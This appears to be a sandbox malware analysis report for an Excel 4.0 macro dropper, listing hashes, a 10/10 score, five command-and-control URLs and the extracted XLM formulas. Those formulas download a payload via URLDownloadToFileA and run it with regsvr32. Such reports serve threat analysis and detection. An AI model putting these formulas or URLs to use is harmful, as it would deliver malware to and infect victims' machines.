35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6

General

Target

35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6
Size

69KB
Sample

241120-sytb6sybrc
MD5

afc50d02d1ce16c4db3cd49ae0b97a30
SHA1

a515857ef5c4194d369571ddba284e057fa3e51b
SHA256

35d9a0c9169fe2fda39ffb46d8d0ac3d02763ce1e8e33142974712d3bd3d6ed6
SHA512

e2565eae1e531d5c8a0d255e3773c9012436f975313df9ce00507a64c78d8c03b056a2705990eb075dbc97e8cebe2f62b25e5e5e3b545a43e858fa9f77e39691
SSDEEP

1536:dp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:czWhxHjh88ZoH7juFuZiQg

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

xlm40.dropper

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

xlm40.dropper

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

xlm40.dropper

https://triclicks.net/wp-admin/bv/

xlm40.dropper

https://thecanadianarab.com/wp-content/VJ/